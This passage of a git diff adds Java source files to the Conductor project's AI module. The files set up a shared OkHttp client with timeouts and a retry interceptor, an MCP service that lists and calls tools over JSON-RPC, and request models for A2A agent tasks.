org.springframework.http.HttpHeaders headers; + public int statusCode; + public String reasonPhrase; + + /** + * Checks if the HTTP response indicates an error. + * + * @return true if status code is not in the 2xx range (200-299), false otherwise + */ + public boolean isError() { + return statusCode < 200 || statusCode >= 300; + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientConfiguration.java new file mode 100644 index 0000000..e889ed6 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientConfiguration.java @@ -0,0 +1,56 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.http; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import jakarta.annotation.PreDestroy; +import okhttp3.OkHttpClient; + +/** + * Spring configuration for the shared AI {@link OkHttpClient}. + * + *

Exposes a single application-wide client, {@link #conductorAiHttpClient}, used by all LLM/AI + * provider calls. Its timeouts, connection pooling and retries are bound from {@link + * AIHttpClientProperties} (prefix {@code conductor.ai.http.*}). The client is built once via {@link + * AIHttpClients} and torn down on shutdown (see {@link #shutdown()}) so its dispatcher thread pool + * and connection pool are released cleanly. + */ +@Configuration +public class AIHttpClientConfiguration { + + private OkHttpClient client; + + /** + * The shared {@link OkHttpClient} bean for AI/LLM provider calls. + * + *

Configured from {@link AIHttpClientProperties} ({@code conductor.ai.http.*}) — notably a + * generous read timeout suited to reasoning models over large contexts. Inject it by type, or + * by name via {@code @Qualifier("conductorAiHttpClient")}. + */ + @Bean + public OkHttpClient conductorAiHttpClient(AIHttpClientProperties props) { + client = AIHttpClients.build(props); + return client; + } + + /** Releases the client's dispatcher thread pool and connection pool when the context closes. */ + @PreDestroy + public void shutdown() { + if (client != null) { + client.dispatcher().executorService().shutdown(); + client.connectionPool().evictAll(); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientProperties.java b/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientProperties.java new file mode 100644 index 0000000..ebea08e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClientProperties.java @@ -0,0 +1,59 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.http; + +import java.time.Duration; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; + +/** + * Tunable settings for the shared AI {@link okhttp3.OkHttpClient} (see {@link + * AIHttpClientConfiguration}), bound from the {@code conductor.ai.http.*} prefix. + * + *

The defaults below are chosen for LLM/AI traffic rather than ordinary REST calls and apply out + * of the box; operators only need to set a property to override one. Durations use Spring's format + * (e.g. {@code 600s}, {@code 5m}). + */ +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.http") +public class AIHttpClientProperties { + + /** Maximum time to establish a TCP connection to the provider. */ + private Duration connectTimeout = Duration.ofSeconds(60); + + /** + * Maximum time to wait between bytes once a request is in flight, i.e. effectively the + * time-to-first-byte budget for a response. + * + *

Defaults to 600s because LLM/reasoning calls over large contexts routinely take far longer + * than OkHttp's 10s default read timeout to begin streaming a response; under-setting this + * truncates long generations with a read timeout mid-call. + */ + private Duration readTimeout = Duration.ofSeconds(600); + + /** Maximum time to wait between bytes while sending the request body. */ + private Duration writeTimeout = Duration.ofSeconds(60); + + /** Maximum number of idle connections kept in the shared connection pool. */ + private int maxIdleConnections = 50; + + /** How long an idle connection is kept alive in the pool before eviction. */ + private Duration keepAlive = Duration.ofMinutes(5); + + /** Number of automatic retries for transient failures (0 disables the retry interceptor). */ + private int maxRetries = 3; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClients.java b/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClients.java new file mode 100644 index 0000000..a0fe515 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/http/AIHttpClients.java @@ -0,0 +1,59 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.http; + +import java.util.concurrent.TimeUnit; + +import okhttp3.ConnectionPool; +import okhttp3.OkHttpClient; + +/** + * Single source of truth for building the AI {@link OkHttpClient}. Both the Spring-managed {@code + * conductorAiHttpClient} bean and the fallbacks used when no client has been injected (tests, + * manual instantiation) go through here so timeouts, connection pooling and retries stay + * consistent. + */ +public final class AIHttpClients { + + private AIHttpClients() {} + + /** Builds an OkHttpClient configured from the given properties. */ + public static OkHttpClient build(AIHttpClientProperties props) { + OkHttpClient.Builder builder = + new OkHttpClient.Builder() + .connectTimeout(props.getConnectTimeout()) + .readTimeout(props.getReadTimeout()) + .writeTimeout(props.getWriteTimeout()) + .connectionPool( + new ConnectionPool( + props.getMaxIdleConnections(), + props.getKeepAlive().toMillis(), + TimeUnit.MILLISECONDS)); + + if (props.getMaxRetries() > 0) { + builder.addInterceptor(new RetryInterceptor(props.getMaxRetries())); + } + + return builder.build(); + } + + /** + * Builds an OkHttpClient using the default {@link AIHttpClientProperties} values. Used as a + * fallback when no Spring-managed client has been injected, e.g. in tests or when a provider is + * constructed directly. Note that clients created this way are not tied to the Spring lifecycle + * and so are not shut down via {@code @PreDestroy}. + */ + public static OkHttpClient defaultClient() { + return build(new AIHttpClientProperties()); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/http/RetryInterceptor.java b/ai/src/main/java/org/conductoross/conductor/ai/http/RetryInterceptor.java new file mode 100644 index 0000000..9e2d519 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/http/RetryInterceptor.java @@ -0,0 +1,182 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.http; + +import java.io.IOException; +import java.util.concurrent.ThreadLocalRandom; + +import okhttp3.Interceptor; +import okhttp3.Request; +import okhttp3.Response; + +/** + * OkHttp interceptor that retries requests on transient failures. + * + *

Retries on: + * + *

    + *
  • {@link IOException} — network failure, connection reset, timeout + *
  • HTTP 429 — rate limited; honours {@code Retry-After} header (seconds), falls back to + * exponential backoff + *
  • HTTP 5xx except 501 — server error (501 Not Implemented is non-transient) + *
+ * + *

Backoff formula: {@code min(baseDelayMs * 2^attempt, 30_000ms) + uniform jitter [0, 500ms]} + * + *

If the request body is one-shot (cannot be replayed), no retry is attempted. On exhaustion, + * the last HTTP response is returned if one was received; an IOException is re-thrown if the final + * attempt was a network failure. + */ +public class RetryInterceptor implements Interceptor { + + private static final long MAX_DELAY_MS = 30_000L; + private static final long JITTER_MAX_MS = 500L; + private static final long DEFAULT_BASE_DELAY_MS = 1_000L; + + private final int maxRetries; + private final long baseDelayMs; + + /** + * Creates a {@code RetryInterceptor} with the default base delay of 1 second. + * + * @param maxRetries maximum number of retry attempts (not counting the initial request) + */ + public RetryInterceptor(int maxRetries) { + this(maxRetries, DEFAULT_BASE_DELAY_MS); + } + + /** + * Creates a {@code RetryInterceptor} with a custom base delay. Intended for testing so that + * backoff waits can be reduced to near-zero. + * + * @param maxRetries maximum number of retry attempts (not counting the initial request) + * @param baseDelayMs base delay in milliseconds used for exponential backoff + */ + RetryInterceptor(int maxRetries, long baseDelayMs) { + if (maxRetries < 0) { + throw new IllegalArgumentException("maxRetries must be >= 0, got: " + maxRetries); + } + this.maxRetries = maxRetries; + this.baseDelayMs = baseDelayMs; + } + + @Override + public Response intercept(Chain chain) throws IOException { + Request request = chain.request(); + + // One-shot bodies cannot be replayed — skip retry entirely + if (request.body() != null && request.body().isOneShot()) { + return chain.proceed(request); + } + + Response lastResponse = null; + IOException lastException = null; + + for (int attempt = 0; attempt <= maxRetries; attempt++) { + // Apply backoff delay for all attempts after the first, before closing the response + // so that header values are still accessible when computing the delay. + if (attempt > 0) { + long delayMs = computeDelay(attempt - 1, lastResponse); + // Close any previous non-successful response before retrying + if (lastResponse != null) { + lastResponse.close(); + } + sleepUninterrupted(delayMs); + } + + try { + lastResponse = chain.proceed(request); + lastException = null; + } catch (IOException e) { + lastException = e; + lastResponse = null; + // Will retry unless we've exhausted attempts + continue; + } + + if (!shouldRetry(lastResponse)) { + return lastResponse; + } + // shouldRetry == true → loop continues + } + + // Exhausted retries + if (lastException != null) { + throw lastException; + } + // lastResponse is non-null here (shouldRetry returned true for it) + return lastResponse; + } + + /** + * Returns {@code true} when the response code represents a transient error that warrants a + * retry. + */ + private static boolean shouldRetry(Response response) { + int code = response.code(); + if (code == 429) { + return true; + } + // 5xx except 501 (Not Implemented — non-transient) + if (code >= 500 && code < 600 && code != 501) { + return true; + } + return false; + } + + /** + * Computes the delay before the next retry attempt. + * + * @param retryIndex zero-based index of the retry (0 = first retry) + * @param response the last response received, or {@code null} on {@code IOException} + * @return delay in milliseconds + */ + private long computeDelay(int retryIndex, Response response) { + // For 429, try to use Retry-After header first + if (response != null && response.code() == 429) { + String retryAfter = response.header("Retry-After"); + if (retryAfter != null) { + try { + long seconds = Long.parseLong(retryAfter.trim()); + if (seconds >= 0) { + return Math.min(seconds * 1_000L, MAX_DELAY_MS) + jitter(); + } + } catch (NumberFormatException ignored) { + // Fall through to exponential backoff + } + } + } + return exponentialBackoff(retryIndex); + } + + private long exponentialBackoff(int retryIndex) { + long exponential = baseDelayMs * (1L << retryIndex); // baseDelayMs * 2^retryIndex + long capped = Math.min(exponential, MAX_DELAY_MS); + return capped + jitter(); + } + + private long jitter() { + return (long) (ThreadLocalRandom.current().nextDouble() * JITTER_MAX_MS); + } + + private static void sleepUninterrupted(long millis) { + if (millis <= 0) { + return; + } + try { + Thread.sleep(millis); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/mcp/JsonTextParser.java b/ai/src/main/java/org/conductoross/conductor/ai/mcp/JsonTextParser.java new file mode 100644 index 0000000..c0624df --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/mcp/JsonTextParser.java @@ -0,0 +1,88 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mcp; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Helper class for parsing text content that may contain JSON. + * + *

Attempts to parse text as JSON and returns a JSON object if successful, otherwise returns the + * original text. + */ +public class JsonTextParser { + + private static final Logger log = LoggerFactory.getLogger(JsonTextParser.class); + private final ObjectMapper objectMapper; + + public JsonTextParser(ObjectMapper objectMapper) { + this.objectMapper = objectMapper; + } + + /** + * Parses text content, attempting to convert JSON strings to JSON objects. + * + *

If the text is valid JSON, returns the parsed JSON node. Otherwise, returns a text node + * with the original content. + * + * @param text The text to parse + * @return JsonNode containing either parsed JSON or the original text + */ + public JsonNode parseTextOrJson(String text) { + if (text == null || text.trim().isEmpty()) { + return objectMapper.getNodeFactory().textNode(text != null ? text : ""); + } + + String trimmed = text.trim(); + + // Check if it looks like JSON (starts with { or [) + if (trimmed.startsWith("{") || trimmed.startsWith("[")) { + try { + return objectMapper.readTree(trimmed); + } catch (JsonProcessingException e) { + log.debug( + "Text looks like JSON but failed to parse, treating as text: {}", + e.getMessage()); + return objectMapper.getNodeFactory().textNode(text); + } + } + + // Not JSON, return as text + return objectMapper.getNodeFactory().textNode(text); + } + + /** + * Parses text content and returns it as an Object. + * + *

If the text is valid JSON, returns the parsed object (Map, List, etc.). Otherwise, returns + * the original text string. + * + * @param text The text to parse + * @return Object containing either parsed JSON or the original text string + */ + public Object parseTextOrJsonAsObject(String text) { + JsonNode node = parseTextOrJson(text); + + if (node.isTextual()) { + return node.asText(); + } + + // Convert JSON node to appropriate Java object + return objectMapper.convertValue(node, Object.class); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/mcp/MCPService.java b/ai/src/main/java/org/conductoross/conductor/ai/mcp/MCPService.java new file mode 100644 index 0000000..847c7c0 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/mcp/MCPService.java @@ -0,0 +1,381 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.mcp; + +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import io.modelcontextprotocol.spec.McpSchema; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; + +/** + * Service for interacting with MCP (Model Context Protocol) servers. + * + *

Supports remote (HTTP/HTTPS) MCP servers. + */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class MCPService { + + private static final Logger log = LoggerFactory.getLogger(MCPService.class); + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + private final JsonTextParser jsonTextParser = new JsonTextParser(objectMapper); + private final OkHttpClient httpClient; + + public MCPService(OkHttpClient conductorAiHttpClient) { + this.httpClient = conductorAiHttpClient; + } + + /** + * Lists all tools available from an MCP server. + * + * @param serverUrl MCP server URL (http:// or https://) + * @param headers HTTP headers for the request + * @return List of available tools + */ + public List listTools(String serverUrl, Map headers) { + return listToolsHttp(serverUrl, headers); + } + + /** + * Calls a tool on an MCP server. + * + * @param serverUrl MCP server URL (http:// or https://) + * @param toolName Name of the tool to call + * @param arguments Tool arguments + * @param headers HTTP headers for the request + * @return Tool call result as Map (preserves parsed JSON fields) + */ + public Map callTool( + String serverUrl, + String toolName, + Map arguments, + Map headers) { + return callToolHttp(serverUrl, toolName, arguments, headers); + } + + /** Lists tools from an HTTP/HTTPS MCP server. */ + private List listToolsHttp(String serverUrl, Map headers) { + // Use direct JSON-RPC since many MCP servers don't support full SDK + // initialization + log.debug("Listing tools from MCP server via direct JSON-RPC: {}", serverUrl); + return listToolsDirectHttp(serverUrl, headers); + } + + /** + * Lists tools using direct JSON-RPC HTTP call (fallback for servers that don't support SDK). + */ + private List listToolsDirectHttp( + String serverUrl, Map headers) { + try { + log.debug("Making direct JSON-RPC call to list tools from: {}", serverUrl); + + // Build JSON-RPC request + ObjectNode request = objectMapper.createObjectNode(); + request.put("jsonrpc", "2.0"); + request.put("method", "tools/list"); + request.put("id", 1); + + Request.Builder requestBuilder = + new Request.Builder() + .url(serverUrl) + .post( + RequestBody.create( + objectMapper.writeValueAsString(request), + MediaType.get("application/json"))) + .header("Content-Type", "application/json") + .header("Accept", "application/json, text/event-stream"); + + // Add custom headers + if (headers != null && !headers.isEmpty()) { + headers.forEach(requestBuilder::header); + } + + try (Response response = httpClient.newCall(requestBuilder.build()).execute()) { + // Check response status + if (!response.isSuccessful()) { + throw new RuntimeException( + String.format( + "HTTP %d error from MCP server: %s", + response.code(), + response.body() != null ? response.body().string() : "")); + } + + // Get response body and content type + String responseBody = response.body().string(); + String contentType = response.header("Content-Type", "application/json"); + + // Parse response based on content type + JsonNode responseJson; + if (contentType != null && contentType.contains("text/event-stream")) { + // Parse SSE format + responseJson = parseSseResponse(responseBody); + } else { + // Parse as JSON directly + responseJson = objectMapper.readTree(responseBody); + } + + if (responseJson.has("error")) { + throw new RuntimeException( + "JSON-RPC error: " + responseJson.get("error").toString()); + } + + if (!responseJson.has("result")) { + throw new RuntimeException("Invalid JSON-RPC response: missing 'result' field"); + } + + JsonNode result = responseJson.get("result"); + JsonNode toolsNode = result.get("tools"); + + if (toolsNode == null || !toolsNode.isArray()) { + throw new RuntimeException( + "Invalid response: 'tools' field is missing or not an array"); + } + + // Convert to McpSchema.Tool list + // Use Jackson to deserialize tools directly (same pattern as stdio + // implementation) + List tools = + objectMapper.convertValue( + toolsNode, + objectMapper + .getTypeFactory() + .constructCollectionType(List.class, McpSchema.Tool.class)); + + log.debug( + "Successfully listed {} tools via direct JSON-RPC from {}", + tools.size(), + serverUrl); + return tools; + } + + } catch (Exception e) { + log.error( + "Failed to list tools via direct JSON-RPC from {}: {}", + serverUrl, + e.getMessage()); + throw new RuntimeException( + "Failed to list MCP tools from " + serverUrl + ": " + e.getMessage(), e); + } + } + + /** Calls a tool on an HTTP/HTTPS MCP server. */ + private Map callToolHttp( + String serverUrl, + String toolName, + Map arguments, + Map headers) { + + // Use direct JSON-RPC since many MCP servers don't support full SDK + // initialization + log.debug("Calling tool '{}' on MCP server via direct JSON-RPC: {}", toolName, serverUrl); + return callToolDirectHttp(serverUrl, toolName, arguments, headers); + } + + /** + * Calls a tool using direct JSON-RPC HTTP call (fallback for servers that don't support SDK). + */ + private Map callToolDirectHttp( + String serverUrl, + String toolName, + Map arguments, + Map headers) { + try { + log.debug("Making direct JSON-RPC call to tool '{}' on: {}", toolName, serverUrl); + + // Build JSON-RPC request + ObjectNode request = objectMapper.createObjectNode(); + request.put("jsonrpc", "2.0"); + request.put("method", "tools/call"); + request.put("id", 1); + + ObjectNode params = objectMapper.createObjectNode(); + params.put("name", toolName); + params.set("arguments", objectMapper.valueToTree(arguments)); + request.set("params", params); + + Request.Builder requestBuilder = + new Request.Builder() + .url(serverUrl) + .post( + RequestBody.create( + objectMapper.writeValueAsString(request), + MediaType.get("application/json"))) + .header("Content-Type", "application/json") + .header("Accept", "application/json, text/event-stream"); + + // Add custom headers + if (headers != null && !headers.isEmpty()) { + headers.forEach(requestBuilder::header); + } + + try (Response response = httpClient.newCall(requestBuilder.build()).execute()) { + // Check response status + if (!response.isSuccessful()) { + throw new RuntimeException( + String.format( + "HTTP %d error from MCP server: %s", + response.code(), + response.body() != null ? response.body().string() : "")); + } + + // Get response body and content type + String responseBody = response.body().string(); + String contentType = response.header("Content-Type", "application/json"); + + // Parse response based on content type + JsonNode responseJson; + if (contentType != null && contentType.contains("text/event-stream")) { + // Parse SSE format + responseJson = parseSseResponse(responseBody); + } else { + // Parse as JSON directly + responseJson = objectMapper.readTree(responseBody); + } + + if (responseJson.has("error")) { + throw new RuntimeException(responseJson.get("error").toString()); + } + + if (!responseJson.has("result")) { + throw new RuntimeException("Invalid JSON-RPC response: missing 'result' field"); + } + + JsonNode resultNode = responseJson.get("result"); + + // Process the result JSON to parse text content as JSON where applicable + processResultJson(resultNode); + + // Return as Map to preserve parsed field + Map result = objectMapper.convertValue(resultNode, Map.class); + + log.debug( + "Successfully called tool '{}' via direct JSON-RPC on {}", + toolName, + serverUrl); + return result; + } + + } catch (Exception e) { + log.error( + "Failed to call tool '{}' via direct JSON-RPC on {}: {}", + toolName, + serverUrl, + e.getMessage()); + throw new RuntimeException( + "Failed to call MCP tool '" + + toolName + + "' on " + + serverUrl + + ": " + + e.getMessage(), + e); + } + } + + /** + * Processes a CallToolResult JSON node to parse JSON strings in text content. + * + *

Modifies the JSON response before deserialization to convert JSON strings to objects. + */ + private void processResultJson(JsonNode resultNode) { + if (resultNode == null || !resultNode.has("content")) { + return; + } + + JsonNode contentArray = resultNode.get("content"); + if (!contentArray.isArray()) { + return; + } + + for (JsonNode contentItem : contentArray) { + if (contentItem.isObject() + && "text".equals(contentItem.path("type").asText()) + && contentItem.has("text")) { + + String textValue = contentItem.get("text").asText(); + Object parsed = jsonTextParser.parseTextOrJsonAsObject(textValue); + // If it parsed as JSON object/array, add a 'parsed' field + try { + JsonNode parsedNode = objectMapper.valueToTree(parsed); + ((ObjectNode) contentItem).set("parsed", parsedNode); + } catch (Exception e) { + log.warn("Failed to add parsed JSON field: {}", e.getMessage(), e); + } + } + } + } + + /** + * Parses an SSE (Server-Sent Events) response to extract JSON data. + * + *

SSE format: + * + * 

+     * event: message
+     * data: {"jsonrpc": "2.0", ...}
+     *
+ * + * @param sseBody the raw SSE response body + * @return parsed JSON node from the data field + */ + private JsonNode parseSseResponse(String sseBody) { + log.debug("Parsing SSE response: {}", sseBody); + + // Find all "data:" lines and concatenate their content + StringBuilder jsonData = new StringBuilder(); + String[] lines = sseBody.split("\n"); + + for (String line : lines) { + String trimmed = line.trim(); + if (trimmed.startsWith("data:")) { + String data = trimmed.substring(5).trim(); + // Skip empty data or "[DONE]" markers + if (!data.isEmpty() && !data.equals("[DONE]")) { + jsonData.append(data); + } + } + } + + if (jsonData.length() == 0) { + throw new RuntimeException("No data found in SSE response: " + sseBody); + } + + try { + return objectMapper.readTree(jsonData.toString()); + } catch (Exception e) { + throw new RuntimeException("Failed to parse SSE data as JSON: " + jsonData, e); + } + } + + /** Transport type enum. */ + private enum TransportType { + STREAMABLE_HTTP, + SSE + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/A2AAgentCardRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/A2AAgentCardRequest.java new file mode 100644 index 0000000..6f504cb --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/A2AAgentCardRequest.java @@ -0,0 +1,35 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.Map; + +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +/** Input for the {@code GET_AGENT_CARD} task: discover a remote agent's capabilities and skills. */ +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = false) +public class A2AAgentCardRequest extends LLMWorkerInput { + + /** Agent runtime/protocol; only {@code "a2a"} is supported today. Defaults to {@code "a2a"}. */ + private String agentType = "a2a"; + + /** The remote agent's base URL, or a direct URL to its agent-card JSON. */ + private String agentUrl; + + /** HTTP headers for the request (optional). */ + private Map headers; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/A2ACallRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/A2ACallRequest.java new file mode 100644 index 0000000..928991e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/A2ACallRequest.java @@ -0,0 +1,94 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.List; +import java.util.Map; + +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +/** + * Input for the {@code AGENT} task: send a message to a remote A2A agent and await the result. + * + *

The message body is taken from the first of {@link #message}, {@link #parts}, {@link #text}, + * or the inherited {@code prompt}. To continue an existing conversation/task (e.g. resume after the + * agent asked for input), pass {@link #contextId} and {@link #taskId} from a prior call's output. + */ +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = false) +public class A2ACallRequest extends LLMWorkerInput { + + /** + * Agent runtime/protocol. Only {@code "a2a"} (Agent2Agent) is supported today; native runtimes + * (e.g. {@code langgraph}, {@code openai}) are planned. Defaults to {@code "a2a"}. + */ + private String agentType = "a2a"; + + /** The remote agent's JSON-RPC endpoint URL (the {@code url} from its Agent Card). */ + private String agentUrl; + + /** Convenience: a single text part to send. */ + private String text; + + /** Explicit message parts (advanced) — each a raw A2A {@code Part} object. */ + private List> parts; + + /** Full A2A message override (advanced); takes precedence over {@link #parts}/{@link #text}. */ + private Map message; + + /** Context id to continue a related conversation/session. */ + private String contextId; + + /** Task id to continue/resume an existing remote task (e.g. provide requested input). */ + private String taskId; + + /** HTTP headers for the request (e.g. {@code Authorization: Bearer ...}). */ + private Map headers; + + /** How much message history to request back in the returned task. */ + private Integer historyLength; + + /** Poll interval (seconds) while the remote task is running. Defaults to 5. */ + private Integer pollIntervalSeconds; + + /** + * Absolute deadline (seconds) for the remote task to reach a terminal state. Past this, the + * Conductor task fails terminally rather than waiting forever. Defaults to 86400 (24h). + */ + private Integer maxDurationSeconds; + + /** + * Max consecutive transient poll failures (agent unreachable) before failing terminally. Guards + * against polling a dead agent forever. Defaults to 30. + */ + private Integer maxPollFailures; + + /** Use SSE streaming ({@code message/stream}) instead of send+poll. */ + private boolean streaming; + + /** + * Use push-notification (webhook) mode for long-running tasks. The agent's webhook completes + * the task quickly; a slow backstop poll (see {@link #pushBackstopPollSeconds}) still + * guarantees the task completes even if the webhook is never delivered. + */ + private boolean pushNotification; + + /** Backstop poll interval (seconds) in push mode. Defaults to 300 (5 min). */ + private Integer pushBackstopPollSeconds; + + /** Extra metadata to pass on the {@code message/send} call. */ + private Map metadata; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/A2ACancelRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/A2ACancelRequest.java new file mode 100644 index 0000000..b4e2652 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/A2ACancelRequest.java @@ -0,0 +1,38 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.Map; + +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +/** Input for the {@code CANCEL_AGENT} task: request cancellation of a remote agent task. */ +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = false) +public class A2ACancelRequest extends LLMWorkerInput { + + /** Agent runtime/protocol; only {@code "a2a"} is supported today. Defaults to {@code "a2a"}. */ + private String agentType = "a2a"; + + /** The remote agent's JSON-RPC endpoint URL. */ + private String agentUrl; + + /** The id of the remote task to cancel. */ + private String taskId; + + /** HTTP headers for the request (optional). */ + private Map headers; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/AudioGenRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/AudioGenRequest.java new file mode 100644 index 0000000..369cfc7 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/AudioGenRequest.java @@ -0,0 +1,32 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

